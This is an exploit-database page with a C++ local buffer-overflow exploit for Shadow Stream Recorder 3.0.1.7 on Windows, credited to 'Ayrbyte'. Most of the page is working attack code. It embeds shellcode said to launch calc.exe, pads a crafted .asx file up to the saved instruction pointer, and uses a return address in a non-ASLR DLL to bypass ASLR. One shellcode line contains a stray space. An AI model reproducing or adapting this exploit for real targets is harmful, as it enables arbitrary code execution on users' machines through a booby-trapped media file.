[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Shadow Stream Recorder (aslr bypass) Buffer Overflow

Author
Ayrbyte
Risk
[
Security Risk High
]
0day-ID
0day-ID-18990
Category
local exploits
Date add
15-07-2012
Platform
windows
/*#####################################################
##    ??  %%  %% $$$$$        >>  > ::    ;;;;;;;;   ##
##   ?? ?  %% %% $$ $$ ||      >> > ::    ;;    ;;   ##
##  ?????   %%%% $$$$$ ||___    >>> ::::: ;;;;;;;    ##
## ??   ??    %% $$$$  ||  ||     > ::    ;;         ##
##      %%%%%%%% $$ $$ ||__|| >>>>> ::::: ;;;;;;;;   ##
##__________________>>Ayrbyte<<______________________## 
##      Gamerz From b-compi | pasukan berkompi       ##
#######################################################
######################################################################
## Exploit Title:                                          ##
##  Shadow Stream Recorder (aslr bypass) Buffer Overflow   ##
#################################################################
## Author: Ayrbyte                                   ##
## fb: fb.me/Ayrbyte                                 ##
## Link Author: b-compi.net/forum                    ##
## Vendor Software: Mini-stream Software             ##
## Link Software: http://mini-stream.net/castripper/ ##
## Version: 3.0.1.7 2009.01.09                       ##
## Tested on: Windows 7 Ultimate                     ##
## Code: c++                                         ##
######################################################################
## Greetz To : Zax Oktav, Andy Oioi, Melawai1928, Cloud Sky,   ##
##             Lephex +_+, valcon, XerkusR, 3|_^^1x, WPFr,     ##
##             C-byte, and all b-compi family ^_^              ##
####################################################################*/

#include <iostream>
using namespace std;

//DEKLARASI VARIABEL
/*##################################################################*/
//opcode untuk menjalankan calc.exe
char opcode[] =
"\xdb\xd7\xd9\x74\x24\xf4\xb8\x79\xc4\x64\xb7\x33\xc9\xb1\x38"
"\x5d\x83\xc5\x04\x31\x45\x13\x03\x3c\xd7\x86\x42\x42\x3f\xcf"
"\xad\xba\xc0\xb0\x24\x5f\xf1\xe2\x53\x14\xa0\x32\x17\x78\x49"
"\xb8\x75\x68\xda\xcc\x51\x9f\x6b\x7a\x84\xae\x6c\x4a\x08\x7c"
"\xae\xcc\xf4\x7e\xe3\x2e\xc4\xb1\xf6\x2f\x01\xaf\xf9\x62\xda"
"\xa4\xa8\x92\x6f\xf8\x70\x92\xbf\x77\xc8\xec\xba\x47\xbd\x46"
"\xc4\x97\x6e\xdc\x8e\x0f\x04\xba\x2e\x2e\xc9\xd8\x13\x79\x66"
"\x2a\xe7\x78\xae\x62\x08\x4b\x8e\x29\x37\x64\x03\x33\x7f\x42"
"\xfc\x46\x8b\xb1\x81\x50\x48\xc8\x5d\xd4\x4d\x6a\x15\x4e\xb6"
"\x8b\xfa\x09\x3d\x87\xb7\x5e\x19\x8b\x46\xb2\x11\xb7\xc3\x35"
"\xf6\x3e\x97\x11\xd2\x1b\x43\x3b\x43\xc1\x22\x44\x93\xad\x9b"
"\xe0\xdf\x5f\xcf\x93\xbd\x35\x0e\x11\xb8\x70\x10\x29\xc3\xd2"
"\x79\x18\x48\xbd\xfe\xa5\x9b\xfa\xf1\xef\x86\xaa\x99\xa9\x52"
"\xef\xc7\x49\x89\x33\xfe\xc9\x38\xcb\x05\xd1\x48\xce\x42\x55"
"\xa0\xa2\xdb\x30\xc6\x11\xdb\x10\xa5\ xaf\x7f\xcc\x43\xa1\x1b"
"\x9d\xe4\x4e\xb8\x32\x72\xc3\x34\xd0\xe9\x10\x87\x46\x91\x37"
"\x8b\x15\x7b\xd2\x2b\xbf\x83";
int panjang_opcode = strlen(opcode);
int total_byte_ke_opcode = 22729; 
int total_byte_ke_eip = 26121;
int junk_mengisi_eip =
total_byte_ke_eip - total_byte_ke_opcode - panjang_opcode;
/*##################################################################*/

//MEMBUAT FILE EXPLOIT
/*##################################################################*/
int main(){
//Membuka file Ayrbyte.m3u
FILE *teksfile;
//junk ke opcode
teksfile = fopen("c://Ayrbyte.asx", "w");
for(int i=0;i < total_byte_ke_opcode;i++)
{ fputs("\x42", teksfile); }
//menanam opcode
fputs(opcode, teksfile);
//junk junk ke eip
for(int i=0;i < junk_mengisi_eip;i++)
{ fputs("\x42", teksfile); }
//set menuju opcode yang telah tertanam
char blah[] =
//EIP = 10022776 #retn |ssrfilter03.dll (no aslr module)
"\x76\x27\x02\x10"
//junk to ESP
"\x90\x90\x90\x90"
"\xdc\x64\x0f\x00";//000f64dc = alamat opcode dalam stack
fputs(blah, teksfile);
//alamat kembali untuk mengeksekusi opcode ^_^
fclose(teksfile);
//---EndOfFile---
return 0;}
/*##################################################################*/



#  0day.today [2024-12-25]  #